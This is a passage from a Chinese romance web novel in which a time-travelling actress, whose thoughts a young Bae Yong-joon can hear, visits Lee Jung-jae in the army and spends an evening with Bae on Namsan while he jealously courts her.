后面的话像是被消音了，这让裴永俊皱了皱眉头，从听到她的心声以来，还是第一次碰到这样的情况。 「反着李正宰要是没有入伍的话，我也不至于麻烦社长。他就算现在条件再差，也不至于连未来的老婆都不管吧。」 听到这话的裴永俊，原本因为她夸赞而轻松愉悦的心情荡然无存。牙齿被他咬得咯吱咯吱响，放在西裤边的手也攥成了拳头，眼睛里原本的笑意被化不开的墨色取代。 他做了好几个深呼吸才让自己的心情平静下来，把嘴角的弧度调整成往日的角度，才继续直视宋玉妍。 “那你在美国注意安全，LA的治安没有首尔好，减少不必要的外出。”她在心里已经规划好这段时间的行程分配，说出口的话，漫漫都是对裴永俊的关心。 “你怎么知道是要去美国，还有LA？”裴永俊的语气并不迫人，好像没有什么样的事情能让他不疾不徐的声线改变。 如果不是知道对方要去找李正宰，他也会感动于宋玉妍的关心吧！裴永俊在心底冷笑，面上还是一片温润如玉、好好先生的温柔。 宋玉妍慌乱了，随后立刻镇定下来，只是撇开了他的视线。“我在剧组的时侯听人谈起过，很多工作人员都很羡慕呢！” 经历过金融危机后，韩国看着隔壁一蹶不振的日本，当即就把美国认作精神故乡。社会更是衍生出了一股出国热，所有人对和美国一切相关的事务都相当追捧。 “那你这段时间准备干什么呢？你一个在首尔会很无聊吧！” 他刻意放松声音，听起来像是初春里的太阳风那样柔和 ，带着一**哄的意味。 宋玉妍犹豫地咬了咬嘴唇，不知道应不应该和他说打算去看在部队里的李正宰。 「我花社长的钱去给李正宰买礼物，他应该不会生气吧！我都给未来的他赚了150亿，未来的我早就偿还过了。」 听到这话的裴永俊内心满是烦躁，社长、社长又是社长，不是社长就是李正宰。到底宋玉妍什么时候能把现在的他放在心上？ 他推了推眼睛，在心底告诉自己不要着急，这个世界她除了信任自己，还能相信谁啊？ “我打算去看看部队里的李正宰，看看他过的怎么样？”宋玉妍的语气里满是怀念。 「28岁的李正宰会是什么样子呢？反正肯定不是快要结婚时，打算自己开设公司，满身大佬气场的男人。」 “这样啊！韩国的部队探访还是有很多流程的。而且他现在是新兵，你这样漂亮的女人单独去探访，会给他带来一些麻烦。你知道的，有时候男人的嫉妒心，也很可怕。” 裴永俊不好把那个词直接说出来，只是用嘴唇做出了一个“霸凌”的口型。 宋玉妍觉得他说的对，她确实是考虑不周到了，只想着赶快看看现在的李正宰过得好不好。 “要不你先去我的经纪公司，帮忙上几节演技课？正好原本的老师请假了，等我这段时间安排好了，从LA回来之后，再和你一起去探望李正宰？” 裴永俊面上是风轻云淡的笑意，每字每句体贴到好像都是为了她着想。 看到宋玉妍松动了的表情，他继续加码：我也入伍过，到时候一起去探视，说不定我这个前辈还能给他传授一点经验呢。” 只有他自己知道，他看似方方面面都考虑周到，但其实只是不想这两人“旧情复燃”。毕竟从某种意义上来说，他们两个才是一对。 宋玉妍思考了一下，还是答应了裴永俊的方案，毕竟连她都挑不出毛病来。 「李正宰出道比社长早吧，社长居然还自称前辈！」 —— 这段时间宋玉妍给人上演技课的时侯，只觉得教得头都要秃了。 上她课的，要么就是将要将要出道的演员，要不就是已经在三大台的剧里混过眼熟的演员。面对这样一个履历空白的老师，大家都不算服气。 巧得是在这个过渡世界，宋玉妍也不太想花精力完成事业，只想安安静静等着系统恢复能量。 所以在课上不管是人物小传怎么扩写、面部肌肉控制、眼神情绪的转换。她只是当作一分工作，讲自己该讲的。就拿着这样一份薪资，剩下的他们爱听不听。 倒是有一部分有追求的演员，能感受到演技课对他们的提升，好好地开始体悟、练习。 “宋老师nim，下面有你的越洋电话。” 她在办公室刚上完课把高跟鞋换上，就有一个学生过来找她。 “好，我现在下去接。”宋玉妍随手拿起自己的包，看着这位女生，记得她是比较用功的那种学生，多了一句嘴。 “你现在的面部肌肉控制，已经能够做得很好了，剩下的就是对角色的揣摩，这个要看你多看书了。” 自己都没有理解角色，怎么能把足够打动人的角色带给观众呢？ 朴修爱看着宋玉妍的价值不菲的香奈儿菱格包链条包，想到自己从空姐转型成演员的不易，眼底划过一抹复杂。 有些人要苦苦往上爬才能得到自己想要的东西，有些人什么都不用做，自然会有人把这些碰到她的面前。 公司里谁不知道宋玉妍和已经大火前辈裴永俊的恋情呀！如果……她能有这样的一位前辈提携，路会不会好走很多。 “内！” “口部操要坚持练习，再好的理解也是建立在基础扎实之上的。”宋玉妍看她愿意听，就多说了两句。 听到电话那边裴永俊的声音，她好奇地问道：“你每天拍戏不累吗？居然还坚持定时定点地打电话过来。” 累呀！怎么不累！裴永俊撑着自己疲惫的身体，从床头把自己往上拎了拎。 他咳嗽了一声，把声音里的有气无力调整好。“拍直升机戏份的时侯会有点累，噪音太大，我要靠喊才能听得见台词。” 「那你还坚持不懈地每天打电话过来，不嫌累吗？」 只是现在离得太远，他听不到宋玉妍的心声，这让他很不习惯。像是一直处于喧嚣闹市的人突然回到了山林里，寂静带来的是不习惯的孤独。 “那你就好好休息！省点话费！” “你最近……没有其他的行程计划吧！”裴永俊还是把这个问题问了出来，他有些害怕在他不在的情况下，宋玉妍和李正宰见面。 这两人在15年都定过婚了，在他看来相当于命定之人。想要和命运抢人，他不允许一丝一毫的差错。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 130-140 第131章 第一百三十一章 “没有什么很重要的行程，就是每天给他们上上演技课。”说到这里，宋玉妍就有些无力。 “你说能被公司看中的，应该都是有些潜力的苗子，怎么那么简单的情绪都做不好？” 电话那边的裴永俊从喉咙间冒出几丝轻笑，像是电流一样，听得让人的耳朵酥酥麻麻的。 宋玉妍她自己是天赋型的演员，对于各种戏份的演绎，都是信手拈来。哪怕从忠武路转型到小银幕，都只适应了两部剧。 裴永俊和她对过戏，在她轻轻松松、还留有余力的情况下，他还是会有一种被压戏的感觉。 “不是每一个演员都和你一样，能够天赋异禀。” 也许是他的语气太过温柔了，令电话那边宋玉妍的脸蛋红透了。她有些冰凉的手敷到脸蛋上，想要减缓上升的温度。 40代的社长才不会这样明目张胆地夸赞她，哪怕她做得很好，裴永俊最多也是一句不错。更多的是用物质或者更好的资源，回馈她的辛勤工作。 “还有其他的事情吗？没有我就挂了！” “内！好好照顾自己。” 大洋彼岸的裴永俊抬起手腕，看了一眼时间，距离他下一条拍摄只有三个小时的休息时间了。他解下手腕上的手表放在床头柜上，一夜好梦。 挂了电话的宋玉妍有些怅然若失，不知道是不是因为雏鸟情节，她对裴永俊的依赖不断加深。甚至刚刚都有在电话里询问对方，什么时候回来韩国的冲动。 这段时间，生活里没有他的身影，简直让人的心脏空了一块。裴永俊刚离开的时侯，宋玉妍每天早上起来，都会条件反射般地去敲隔壁的门。 一般来说，他没有工作都会做好两人份的早餐。知道她不喜欢韩餐，也会带她去吃各种昂贵的料理，明明他的片酬也不高…… 宋玉妍百无聊赖地进了一家网吧，想要在电脑上搜寻一下《情定大饭店》的海外拍摄物料。但是现在的电视台宣传帮不上信息大爆炸时代的，也没有这么拼的狗仔。 所以她只能无功而返。 —— 听到门口的敲 门声，宋玉妍的心脏开始快速打着节拍，双手捂着胸口，是他结束拍摄回来了吗？ 内心升腾起一股隐秘的欣喜，但是不知道还能在这个世界待多久？她用力地闭了闭眼睛，把那股欣喜强压了下去。 她有些不可置信，当时说是要大半个月，但是现在也就快两个星期。如果不是裴永俊的话，这个房子除了他以外，也不会有其他人造访。 心脏一直蹦跶，像是在催促她。宋玉妍把长发随手挽到脑后，几缕碎发松松垮垮地垂落着。她身上还穿着真丝睡裙，有些来不及换衣服，干脆就在外面搭上了一件浅灰色的羊毛披肩。 老式木门被打开的一瞬间，两人都愣住了。裴永俊身上，仿佛还凝滞着封闭空间里带着的味道，驳杂的灰尘味。眼底的青黑和没有大衣衣摆上没有熨烫过的褶皱，无一不在说明他的疲惫。 在看到宋玉妍的那一瞬，他还是努力地弯起笑容，原本疲惫的眼睛都散发出光亮。 “宋玉妍xi，我回来了！” 来不及说什么，裴永俊放下手中的行李箱拉杆，把她拥入怀里。他贪婪地吸食着，绽放在空气里每一丝的香气。 像是雨后玫瑰的味道，甜而不腻，清冷里带着一股隐隐约约的水汽。柔和的味道像是要熨平心里的每一寸思念的褶皱。 他把宋玉妍箍的很紧，仿佛不想让人挣脱开来。 一开门面对这样情况的宋玉妍，有些呆愣，因为两人贴的太近，让她的身体温度一直上升。 蹦出来的几缕头发，轻扫在裴永俊的肩头。 「他这是怎么了？」 宋玉妍手臂垂落在裙摆边，心脏怦怦地跳动，显示着她慌乱的情绪。 随后她的肩膀上，被抵住了一个柔软的东西，温热又有些粗糙，须后水的味道干净又清爽。 “裴永俊xi，你是在美国待久了，学会了拥抱礼仪吗？”宋玉妍勉强地扯了扯嘴角，随便帮他找了个理由。 她的内心很乱，心声一片空白，也忘记了推开身上的男人。 “阿尼，我很想你。”裴永俊的声音轻不可闻，像是在喃喃自语一样。 因为离得太近了，宋玉妍自然也听见了这句话。这样近乎于表白的话语，震地她内心地震，瞳孔慌乱到微缩。 她毫不犹豫地把人推开了。「我已经……有未婚夫了，怎么还会？」怎么还会被另一个人所触动？ 对李正宰的愧疚被席卷而来，哪怕她知道上一个世界已经结束。两人已经形同陌路，但宋玉妍还是有些不知所措。 裴永俊当然知道，像温水煮青蛙这样的事情急不来，把人逼到墙角，到时候挣扎反扑就得不偿失了。 “当然，我看美国人都是贴面礼、拥抱礼，我居然也习惯了对朋友这样。”他笑得全然无辜又愧疚，仿佛真的只是不小心，把过界的礼仪习惯带到了宋玉妍身上。 “是我的问题，米亚内。” 有了台阶下，宋玉妍才不管事实是不是如此，她只想着给自己解围。加上裴永俊满脸的懊恼，她也不想追究下去让人为难。 「宋玉妍啊宋玉妍，你可是李正宰的未婚妻，清醒一点，不要自作多情。」 “裴永俊x，i我们什么时候去探望李正宰xi呀。” 不管是心声还是说出来的话语，没有一个字是他爱听的。裴永俊推了推眼睛，压下心底的烦躁，再一次告诉自己不要着急。 “李正宰xi对你很重要吗？居然怎么着急去探望他？”他温柔的语气里带着一丝刻意的打趣。 “他，是一个故人。” 「希望见到他之后，躁动不安的心脏能够安分一点吧。」 看到宋玉妍黯然神伤，眼底划过思念的模样，他只觉得心底发酸，这次明明是他先遇到的不是吗？ “这样啊，我还以为你会是他的女友。”随口揭穿了两人之间的真实关系。 裴永俊又暗暗拉踩道：“演艺圈里藏在暗处的龌龊数不胜数，有些人一出道就能得到大制作，谁知道背后有什么不可告人的交易。” 想要拉低李正宰在宋玉妍心底的印象分，他喋喋不休继续道：“很多年轻的男艺人就想着凭着一张脸，走捷径，谁知道他那些资源怎么来的？” 「年轻帅气的脸蛋？」 宋玉妍犹豫地打量着自家社长，年轻时优越的颜值。没有这张文艺忧郁又儒雅的脸蛋，他是怎么迷倒半个日本四岛的少女？ 「走捷径？！」 「大制作？裴永俊是在内涵自己吗？」 听到宋玉妍的心声，裴永俊几乎气到要晕厥过去。李正宰没有被拉踩到，倒是他的黑历史在宋玉妍这里像是过不去了一样。 他冷着脸，把从国外带回来的奢侈品包的礼袋，放到她家桌上。“顺手给你带的伴手礼。”然后头也不回的离开了。 等他走后，宋玉妍打开包装，揭开盒子里的包装纸，是韩国这边买不到的香奈儿经典款式包。之前逛街的时候，柜姐说没有货，她还很遗憾。 —— 虽然很不情愿，但是裴永俊说到做到，还是带着宋玉妍去探望了李正宰。 看到她拿着自己的卡，给那位买了不少昂贵水果，裴永俊是真的恨得牙痒痒。 本土产的苹果和橘子，已经满足不了宋玉妍。裴永俊看着她，毫不犹豫地拿起一串进口香蕉。 小米蕉黄灿灿、胖乎乎的身体，毫无瑕疵，外表和它的价格一样昂贵。 他摁住她的手，瞟了一眼标价，心疼地暗地里直抽凉气。 这么贵的水果，在他小时候家里都是一根一根地买。而且还要用小刀切成好几份，一家人分着吃。 就算现在价格没有那么贵了，李正宰他凭什么？给他随便买一点都应该感恩戴德了，部队里有小卖部，饿不死的！ 给宋玉妍买着吃，他是毫不心疼。但是给“情敌”买这么贵的，那就是纯纯冤大头了。 他入伍的时候，这么久没有这么好命？ “宋玉妍xi，李正宰他在部队。我们送过去的东西，他肯定要分给同期兵、前辈、长官。水果这样的食物华而不实，买得再多也分不了多少。要不我们多买点烧**，这样分到肉的人，都能加餐。” 宋玉妍没有过入伍经历，当然不知道里面的弯弯绕绕。需要什么，还是听有经验人的吧！ 看着后备箱里满满当当的十多只烧鸡，裴永俊眼底的心疼做不得假。只能安慰自己，就当是哄宋玉妍开心，顺便卖那个几乎没有交集的同行一个好。 “李正宰xi，有人来探望你了，收拾收拾去固定的区域吧！” 看到长官进来，李正宰条件反射般地立正站好，右手握拳举到了太阳穴的位置。 服义务兵役才知道，外面的光环根本不算什么。因为艺人的身份，他比其他人受到的恶意更多。 之前家里人过来探视，因为余钱全都给了债主，他只能窘迫到拿出泡菜和人分享。这让他本就难熬的处境雪上加霜。 李正宰有些麻木地走向家属探望区域，不知道这样的生活什么时候是个头。 宋玉妍看这窗户外闪过的身影，呼吸急促了。 「好久不见啊，欧巴！」 他的身形看起来更加瘦弱。比40代的他体态还要佝偻一些，仿佛生活加在他身上的担子，让他喘不过气来。 第132章 第一百三十二章 明明是才二十多岁的年龄，看起来过得比40代还没有活力。 宋玉妍对上李正宰有些蜡黄皮肤，瘦得颧骨更加明显，下巴上的青渣看起来潦落。她有些绷不住情绪了，撇过脸，用指尖把眼睑下方的泪珠拭去。 看到屋里的人并不是家庭成员，李正宰有些愣住。把裴永俊的脸和印象里对的应起来，很是不可思议。 “裴永俊xi？”他和裴永俊并无私交，不明白对方为什么会来探望他。“你怎么会来？” 裴永俊瞟了一眼坐在他旁边的宋玉妍。 她沉浸在自己的思绪里，微红的眼尾，垂着头，泪珠一粒一粒地滴湿了她的牛仔裤。 仿佛能够感受她心底的酸楚，心痛让他的喉咙变得干涩、沙哑。 等李正宰再问了一次之后，他才转过头回答：“我是受人所托。” 裴永俊不想说出宋玉妍的名字，他有自己的私心，不想两人此刻产生纠葛。令他意外的是，宋玉妍并没有对他的回答提出质疑。 李正宰回忆了，自己所有认识的人脉，谁和裴永俊有过交集，最后无疾而终。想他这样已经自断后路的的演员，还有什么未来可言呢？ 他苦笑了一声，没有继续追问下去。“你帮我谢谢那位。” 宋玉妍听到这样的话，彻底绷不住情绪了。捂着眼睛，别过头去，泪水不断地从手指的缝隙穿过，像是水龙头一样冲湿了裤子。 裴永俊既无奈又安慰似得拍了拍她的后背。 「原来年轻时候的李正宰过得这么不容易。能走到未来的那种高度，他到底经历了多少？」 他们给李正宰带的一部分都是可以当场吃下的，另一部分饼干、拉面、火腿肠可以让他留着日后改善伙食。 在军队里待久了，李正宰早就抛却了所谓的羞耻心，狼吞虎咽地解决晚大半个烧鸡。 宋玉妍一边用纸巾收拾着妆容，一边暗地里观察着他。 “谢谢你们。”吃完食物之后，身体把能量分解成糖分，这让李正宰觉得自己的身体舒服一些了。他有留意到裴永俊旁边那个女人，扫过来的眼神让他心脏跟着颤动。 一开始以为对方是裴永俊的女友，但看他们的相处感觉又不像。 “这位是？” “这是我的朋友，我们顺路一起过来。等会要送她，去看她在另一个基地服役的欧巴。”裴永俊拿出早就准备好的说辞。 宋玉妍像是一个雕像，从见到李正宰之后一句话也没有说，连心声都格外沉默。 “这样啊，难怪这样悲伤，原来你也有家人在服役啊！”李正宰努力压制自己内心莫名而来的情感，之前她的视线每扫来一次，都给他带来一种过电的感觉。 她的眼睛里的情绪十分难懂，怜惜、心疼、思念……堆积在一起。 但如果家里有正在服役的，那就能解释地通了，爱屋及乌。估计是因为自己的家人也在受苦，所以也格外能感同身受吧。 宋玉妍听到最熟悉的人，说出这样的话，眼泪再一次落下。这次是生理性的反应，不知道是因为与李正宰的素不相识还是…… “没事没事，你别哭，这都是韩国男人的必修课！”李正宰轻描淡写地把这段时间的遭遇囊括为三个字。 看着对方已经肿的不能再肿的眼睛，他后知后觉地感觉自己说错了话。 李正宰懊恼道：“其实在服役的我们，会更加担心你们。” 他想把纸巾递到宋玉妍手里，但搜遍了身上所有的口袋，都找不到一张最普通的纸巾。 等裴永俊掏出一条和他黑色西装大相径庭的粉色手帕，精致柔软的质地看起来很昂贵。 右下角“H”开头的刺绣字母，刺痛了李正宰的眼睛，他讪讪地收回自己的胡乱摸索的双手。 “到时间了，我们先告辞了。”裴永俊温文尔雅地朝着他点了点头，把哭到不能自已的宋玉妍扶了回去。 李正宰很难形容自己是什么心情，刚出道的时候他满心傲气，被圈内人和裴永俊做比较时，就算对方有着令人羡慕的爆剧体质，他的内心是不屑一顾的。 史上最年轻的青龙影帝，他有这个资本。只是今时不同往日，自己前途未卜，对方一片康庄大道。 看到两人相携而去的背影，他攥紧了手指，惨白的脸上划过一丝苦笑，看起来狼狈异常。 李正宰总感觉……自己失去了什么，虽然连那个女人的名字都不知道。但他总觉得他的心脏被人捏在手里，看到她的一瞬间，心跳乱七八糟，等她走了又像是空了一大块。 坐在车内的宋玉妍，刚刚一路上都是把泪水糊在裴永俊的袖子上，把他好好的一件羊毛西装外套给破坏了。 现在依旧收敛不住自己的情绪，拉上副驾上的安全带，自顾自地倚在车壁上，一抽一抽的。 裴永俊心底也不是滋味，不知道带她来探望“前任”，到底是对是错。 “好了好了，再哭就不漂亮了！” 宋玉妍闭着眼睛没有理他，她现在非常情绪化，这种和未婚夫对面不识的感觉，太过糟糕了。 你不是总说我的车太破了吗？“裴永俊一边打着方向盘倒车，一边哄道：“等我有钱了，我第一时间就去买迈巴赫。你说车身选什么颜色好？” “蓝色。”宋玉妍条件反射般地脱口而出，她对那辆蓝色的迈巴赫可谓是不能再熟悉了。 听到她愿意回复之后，裴永俊松了口气。“那就按你说的来。” 照他的审美，商务车一定要是黑色才足够低调大气。但听宋玉妍这样提议，裴永俊倒是觉得蓝色也不错。 “到时候我准备在车里加装个手拎电话。这样就能更方便联系，”他一边在心里说：更好联系你，一边瞟着宋玉妍。 “更好方便工作。还有就是音响要改装成你之前推荐的那个品牌，什么boss。后座再加个小冰箱。” 听到裴永俊这样的规划，宋玉妍终于破涕为笑。“这样不就是变成保姆车了吗？那车里的空间会不会太小了，坐三个人都嫌挤。” “两个人够了。” 「这是什么意思？」 终于他又能听到心声了，裴永俊在心底长舒一口气。 “你给自己未来的女友做司机也不错。”宋玉妍生硬的转移话题。 “嗯，以后载你也不是不行。” 听到这话，她没有办法装傻了，脸上的笑容僵住。 街边有一个便利店，裴永俊把车停在空地。 他认真地道：“我是认真的。” 宋玉妍沉默了。便利店里类似于disco的动感音乐，破坏了两人间若有似无的氛围。 “我迟早要离开的。”她笑了笑，系统已经把下一个世界的相关资料传输给她了。她也不知道还能在这里待多久，应该……快了吧。 “我知道。”裴永俊笑了笑，没有说话，从听到她心声的那一刻开始，他就知道两人之间的结局。 宋玉妍从15年之后而来，她还有一个柔情蜜意的未婚夫在等她。 裴永俊这辈子都是个彻彻底底的生意人，他知道普通人的人生没有容错率。所以每次的选择，他第一优先想得都是怎么样获得最大收益。 无论是曲线救国进入娱乐圈，为得就是能够利用名人效应上自己想要上的大学。还是接下每一个角色，都会权衡，给他带来的收益是不是足够大。 唯独宋玉妍，是他为数不多，不去考虑回报收益的选择。他情不自禁地揉了揉她的头发，手感和想象中的一样好。 裴永俊嘴角带着浅浅笑容，不同于以往的模板化。下了车，从便利店买了一点啤酒和烧酒。 回到首尔市区时，他指着路边一个黄底黑字的招牌。 “那是我我高考失利之后，来的第一家兼职店，当时为了攒学费，连最便宜的一份炸鸡我都不敢点。” 「好像所有的名人都有一段不堪的过往，李正宰是、裴永俊也是……等他们成名之后，媒体会大幅歌颂这段苦难。好像所有人都默认环境会磨砺人」 宋玉妍看着他笑了笑，掏出了自己的钱包。 “你想吃什么，今天我请你。”「就当是我宴请当年，买不下自己亲手炸的炸鸡的裴永俊了。」 他的心脏微动，像是被温泉水洗过，在暮光下看像她眼神更加柔和。 “那就芝士口味的吧。” 她没有吝啬，走进这个店里，把最大份的炸鸡、洋葱圈、薯条、鸡米花都给点了一份。 等把钱包里最后一块硬币 掏出来之后，才把账单抹平。 “我们打包吧，我带你去一个地方。” 看着旁边提着炸鸡、啤酒的裴永俊步伐都没有乱一下，气喘吁吁的宋玉妍有些后悔陪他来南山了。 现在的南山和日后的不一样，还没有过多开发。往上走的路都是土路，不像是日后那种锃亮崭新的柏油马路。就连知名经典情人桥，现在上面的情人锁，也没有想之后那样密密麻麻。 等到了半山腰，宋玉妍实在不行了，扶着腰、咬着唇。 “不行，裴永俊xi你如果想要南山今天多一具漂亮的女尸，你就尽管再往上爬吧！” “净胡说！”裴永俊怒瞪了她一眼，拗不过她，还是给她找了最近的一个休息的地方。 晚霞从天边散落，晕染在像乐高一样的城市建筑上，远处的光辉如梦似幻。看着粉色的云朵变成了浅紫、暗紫，宋玉妍的心情也变好，她痴迷地看着远处、近处。 “要是时间，能停滞在这一刻就好了。” 第133章 第一百三十三章 “是啊，如果时间能停在现在该多好。”裴永俊手指不自觉地摸向了裤兜，反应宋玉妍也在时，喉结滚动了几下，压下了烟瘾。 这段时间他询问过，很多创作出爆款电视剧的编剧，该如何追人？拿到全南韩最浪漫人的经验之谈后，他就迫不及待地展开攻势。 南山看日落、汉江边散步、乐天游乐园约会。剩下的鲜花、蛋糕、礼物，当然是必备品。 虽然心底早就有了计划，但面上还是一如既往的平静，只是手指在不安的摩挲着。他的声音清清淡淡，带着一丝鼻音，咬字有些模糊，听起来慵懒。 宋玉妍揉了揉自己的耳朵，不得不在心底承认，自家社长的声音还是很有魅力的。 「裴永俊的声音，很适合念那种文艺忧郁的散文，听起来像是晨间清澈的风。」 听到她的夸赞，裴永俊在心底暗喜。再次开口时，刻意地把声线更加压低了几分，还有意无意地带上一些胸腔共鸣。 他把自己的西服外套铺在地上，示意宋玉妍坐下接触的那面很快就吸收了一些露水。初春时分，草尖的嫩芽冒了出来，几乎于无的绿色，看起来很是赏心悦目。 宋玉妍知道这套西服是他特别定制的，拿到手后没有穿过，面上不由地浮现心疼的情绪。 “我还以为你会等年末领MBC的演技大赏时，再穿这套呢！” 「穿上真的是完全帅气啊！这种英伦绅士风格的三件套，请多多保持下去吧！」 裴永俊有些疑惑，宋玉妍现在是被换了一个人吗？怎么今天嘴、心脏这么甜？每句都是他爱听的。 他当然不会承认，自己就是故意的，故意穿得精致得体。既是暗暗在李正宰面前炫耀，也是让他打消一些不着边际的幻想。 “衣服做了不就是用来穿的，不然放在衣柜里一年，褶子变深都熨不平。” 裴永俊隔着镜片，含笑睨着她，“况且，你把我的半边袖子都用泪水浸染湿透，这件衣服当然报废了。” 知道他这不是指责，宋玉妍也在心中觉得不好意思。至于给未来的社长赚了150亿，她再也没有在心中提过了。 不知不觉中，她开始把社长和现在的裴永俊，两者区分开来。 “先吃炸**！”裴永俊帮她把一听啤酒的易拉环打开，反扣住，然后放了支吸管。 “这个酒的度数有些高，14度，你小心别喝醉了。” 宋玉妍禁不得激，直接接过瓶身，吸了一大口酒液。小麦的发酵后气泡带着一丝苦味，流到食道里，身体才后知后觉地暖了起来。 “我的酒量很好的！” 「我可是喝过茅台的女人！这点度数，小意思。」 裴永俊笑了笑不说话，眼底闪过一丝暗芒，劝诫的话他都说过了。 一件件打开炸鸡的盒子，走了这么久，食物都冷透了。他带起一次性手套，拿起一块鸡腿，把散落在盒子底部的芝士往上面卷了两圈。 金黄面包糠的外皮上裹着奶白奶白的芝士，看起来让人食指大动。 宋玉妍走这么久早就饿了，想要再找一个一次性手套，一时间居然找不到。 裴永俊把压在推腿下的一些小包装，压得更紧了。盘着腿坐下的男人，以一种不可思议的角度，让腿部和地面毫无缝隙。 他面上还是温润如玉的笑容，原本的细长上扬的眼睛里充满期待。 “要不你就着我的手吃？这个店家怎么回事？手套也不多准备几份？” 像是对之前的老东家不满，他秀气地皱起了眉毛。 宋玉妍看着自己看似干净的双手，纠结地把五官都挤在了一起。 “好吧。” 「朋友之间……互相喂喂食应该很正常吧！之前和闺蜜一起追剧时，她还会顺手把车厘子塞进我的嘴里呢！」 裴永俊也不催促她，默默地举着手里的炸鸡，眼底是稳操胜券，像是一直守株待兔的狐狸。 像是把自己说服好了，宋玉妍浅吸了一口气，压住自胸前己的长发，慢慢把脑袋往他手那边靠。 不知道是不是为了让两人之间的关系看起来正常，裴永俊很克制地保持着距离。 这让宋玉妍的进食受到了很大阻碍。没有受力点，浅浅咬了一口，鸡腿甚至都没有破皮。 再咬一口，不知道是不是她的错觉，距离好像更远了。宋玉妍几乎整个人的身体都俯下身，往裴永俊那边倾斜。 「要不是大学时候上过形体课，后面也保持了，就这个姿势，我的腰都要废掉了。」 听到这话，他的呼吸急促了一瞬，随后又调整成回平时正常的频率。 “要不我把手套脱给你吧！这样你好吃一点。”裴永俊面上无辜，好像什么时候都是这样全心全意为别人考虑的模样。 “不用了，我吃完还要还给你，换来换去很麻烦！” 宋玉妍有些腻烦，干脆把他的手臂掰过来，扣住他的手腕。这样很快，就让嘴里都塞满了鸡肉。 看着手上剩下的一根骨头，裴永俊还没有从刚刚的肌肤接触中反应过来。 “不吃一点其他的了吗？”他还想宋玉妍用温热的指尖，放在他的脉搏上。两人心跳逐渐调整到同频，这样的体验，足够让他呼吸颤栗。 「这样太麻烦了，那个炸鸡店老板也是真的吝啬，我点了这么多食物，居然才给一个手套。要不然说人家会做生意，能熬过来金融危机的都是狠人？！」 “不了吧，我吃饱了。” 撒谎！明明她是在做，拉开两人之间距离的举动，但裴永俊听到她在心里的阴阳怪气后，怎么都生不起气来。 他没有继续坚持，而是收回了手，像是饿狠了一般，没有丝毫表情管理地大口大口嚼着食物。 就算是这样，他的姿势也不显得粗鲁，反而带着一股随意的慵懒劲。 宋玉妍看到他吃得这样香，只有一分饱的胃发出了抗议，暗暗地吞了吞 口腔里分泌的唾液。 哪怕她现在没有心声，表情也很好懂。裴永俊给无骨鸡块沾了点芝士，递到她嘴边，分量刚好够她一口咬住。 身体像是在帮她回忆，就算这份炸鸡冷掉，腌制过的鸡肉有多鲜嫩多汁，锁住的肉汁调口刚刚好。 宋玉妍不再犹豫，就喂过来的手吃了下去。 裴永俊这才感受到投喂的乐趣，哪怕他自己做的饭宋玉妍吃下去，他的满足感都没有这么多。 就在你一口我一口间，像金子一般的光芒逐渐暗淡，底下的城市的建筑群一点点被雾蓝色吞噬。太阳挪到了山的左边，恍若触手可及。 「这一幕，好像纯爱电影的最后一个镜头。」 她痴痴地看着风景，旁边的人目不转睛在看着她。 不知道是浅醉还是有些累了，宋玉妍一向挺立的腰肢弯曲下去。太过奔波的一天，已经要耗尽她所有的力气。 “要靠着休息一下再下山吗？我可以把肩膀借你。” “好。”她贴到他的肩膀上，脸在柔软的浅蓝色衬衫上蹭了蹭，像是无意识的举动。反应过来之后，宋玉妍又拉开了原本贴近的距离。 裴永俊安安静静地欣赏着最后一抹金辉，从宋玉妍的羽睫间消散，像是金粉随着她睫毛的颤抖，扑通扑通地消散，云端藏匿的光线最后消失不见。 看到困到不行的人，他起身把垃圾都收拾好。“走吧，我们先下山吧。”趁着还有一丝光亮。 “内！”宋玉妍拖着被疲惫和醉意掏空的身体，脚软地像是面条一样，每往山下走一步，都像是要陷到泥土中。 裴永俊看不下去了，拉着她的手，想要慢慢地把她扶下山。就算他是成年男子，也没办法完全拽住她的身体。 “我背你下去吧这样快一点。”最后他还是提议道。 心底闪过隐秘的欣喜，这样的肢体接触会更多，也是他……早就蓄谋已久的。 “你说什么？” 裴永俊贴在她的耳朵边，用热气把声音送了进去。 宋玉妍甩了甩头，最后还是屈服于不争气的身体。她拍了拍男人的背，示意他蹲下。 他的脊背被一寸寸地贴上，能感受着身上温热的身体，浅浅的抽着气努力让颤栗的神经冷静。玫瑰混着酒精的味道让人目眩，夕阳的味道又带来温暖。 终于，脖颈被手臂环绕住，像是柔软的藤蔓，锁住他跳得狂热的心脏。 裴永俊还来不及好好感受这一刻，就听到宋玉妍说：“裴永俊xi，下山很费力呐，你不会把我给摔了吧。” 听到这句话，他气到脸部红温。当下深吸一口气，用最大的力气起身。用力大到甚至把人往空中轻轻抛了一下。 这惹得身上人惊呼出声，幸好有手臂这个支点，她的身体还是落到了背上。 “你太小看演员的体力了。”裴永俊一边说，一边暗暗地让自己精瘦的腰用力。 核心稳住，尽量不要让宋玉妍感受到颠簸。在健身房锻炼那么久，不就是为了这一刻吗？ “在游泳池的时候，我就已经感受过了。” 她轻飘飘的一句话传来，裴永俊本来还没有意识到在说什么。想到当时溅她一身水，原本姣好的身材此刻停没在背上，心脏的跳动更快了。 青年的脸上，不知道是因为运动热的，还是害羞，一片片的绯色像是晚霞团在脸上停留。 气氛正好时，宋玉妍开口道：“裴永俊xi，如果可以的话……麻烦你多照顾照顾李正宰、xi。” 第134章 第一百三十四章 原本雀跃的心情像是被按下了暂停键，裴永俊只觉得浑身发冷、血液逆流。他的步伐开始变得缓慢，精瘦有力的腰忽然卸了力气。 “为什么？”两人是同年生人，加上都是一出道就是大制作电视剧的男主。裴永俊一进圈，几乎都是在别人把他和李正宰，不断对比的声音中走过来的。 要说多讨厌李正宰，那也不至于，毕竟两人之前连交集都没有。只是当他好不容易获得圈内认可后，对方就已经拿下青龙影帝了。被比较不可怕，可怕的是他还是比不过的那位。 更让他火上浇油的是，宋玉妍的态度，一想到对方曾经是宋玉妍的未婚夫。裴永俊就忍不住想在心底冷笑：阿西，这狗崽子还真是好命啊！ 「当然是以后我要离开，他原本的命运线都被打乱了，有些放心不下他。李正宰和郑宇盛都能成为亲故，没道理和同年的裴永俊关系闹得僵。」 “当然是因为你们是同年人呀！而且你比他早入伍，传授传授经验，两人亲近亲近多好。”宋玉妍的手臂贴在他的脖颈上，手指还点了点他的耳垂，亲昵的意味浓烈。 裴永俊停了下来，周边的黑暗像是他的保护色。看起来这样站在阴郁光线里，表情阴鸷，更像是他本来的样子。 